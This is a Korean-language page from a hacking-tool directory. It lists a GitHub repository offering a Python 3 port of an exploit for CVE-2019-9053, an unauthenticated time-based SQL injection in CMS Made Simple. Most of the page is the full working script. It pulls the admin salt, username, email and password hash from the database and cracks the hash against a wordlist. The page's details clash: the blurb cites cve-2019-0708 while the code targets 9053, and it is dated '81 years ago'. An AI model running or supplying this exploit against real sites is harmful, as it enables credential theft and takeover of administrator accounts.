Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hackheart-tech/-exploit-lab
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubhackheart-tech/-exploit-lab

-exploit-lab

Python cve-2019-9053 악용 – HackHeart 제작

저장소 보기
81년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

-exploit-lab

Exploits Python cve-2019-0708 – by HackHeart 🧠 코드 리뷰 및 이식 - Python 2 → Python 3 이 익스플로잇은 원래 Python 2로 작성되었으며, 이는 최신 시스템에서 더 이상 지원되지 않습니다. 호환성을 보장하고 미래 지향적인 도구를 유지하기 위해 전체 코드베이스를 신중하게 검토하고 Python 3로 마이그레이션했습니다.

🔧 이식 과정의 주요 개선 사항:

  • print 문을 Python 3 구문으로 업데이트
  • raw_input()을 input()으로 대체
  • 소켓 작업이 byte/str을 올바르게 처리하도록 조정 (.decode() 추가)
  • xrange(), .iteritems()와 같은 비권장 메서드 제거
  • Python 3.8+ 및 최신 Linux 배포판과의 스크립트 호환성 검증

🛡️ 이 버전은 익스플로잇 로직을 그대로 유지하면서 다음을 보장합니다:

  • 최신 OSCP / Red Team 랩과의 호환성
  • 더 깔끔하고 안전하며 읽기 쉬운 구문
  • 최신 환경(VS Code, Kali, Parrot OS 등)에서 즉시 실행 가능

#!/usr/bin/env python3

CVE-2019-9053 - CMS Made Simple <= 2.2.9 - Unauthenticated SQL Injection

import requests import time import argparse import hashlib

parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help="Base target URI (e.g. http://10.10.10.100/cms)") parser.add_argument('-w', '--wordlist', help="Wordlist for cracking admin password") parser.add_argument('-c', '--crack', action='store_true', help="Crack password with wordlist")

args = parser.parse_args()

url_vuln = args.url.rstrip('/') + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._-$' TIME = 1

flag = True salt = '' username = '' email = '' password_hash = '' output = ""

def dump_field(field_name, table, column, condition): global flag result = "" ord_result = "" while flag: flag = False for char in dictionary: temp_result = result + char ord_temp_result = ord_result + format(ord(char), "x") print(f"[*] Trying {temp_result}") payload = f"a,b,1,5))+AND+(SELECT+SLEEP({TIME})+FROM+{table}+WHERE+{column}+LIKE+0x{ord_temp_result}25+AND+{condition})--+" start_time = time.time() session.get(url_vuln + "&m1_idlist=" + payload) if time.time() - start_time >= TIME: result = temp_result ord_result = ord_temp_result flag = True break return result

print("[+] Extracting salt...") flag = True salt = dump_field("salt", "cms_siteprefs", "sitepref_value", "sitepref_name+LIKE+0x736974656d61736b") output += f"Salt: {salt}\n"

print("[+] Extracting username...") flag = True username = dump_field("username", "cms_users", "username", "user_id+LIKE+0x31") output += f"Username: {username}\n"

print("[+] Extracting email...") flag = True email = dump_field("email", "cms_users", "email", "user_id+LIKE+0x31") output += f"Email: {email}\n"

print("[+] Extracting password hash...") flag = True password_hash = dump_field("password", "cms_users", "password", "user_id+LIKE+0x31") output += f"Hash: {password_hash}\n"

if args.crack and args.wordlist: print("[+] Cracking password...") with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f: for line in f: word = line.strip() print(f"[*] Trying password: {word}") if hashlib.md5((salt + word).encode()).hexdigest() == password_hash: output += f"[+] Password cracked: {word}\n" break

print("\n=== Exploit Results ===") print(output)

도구 다운로드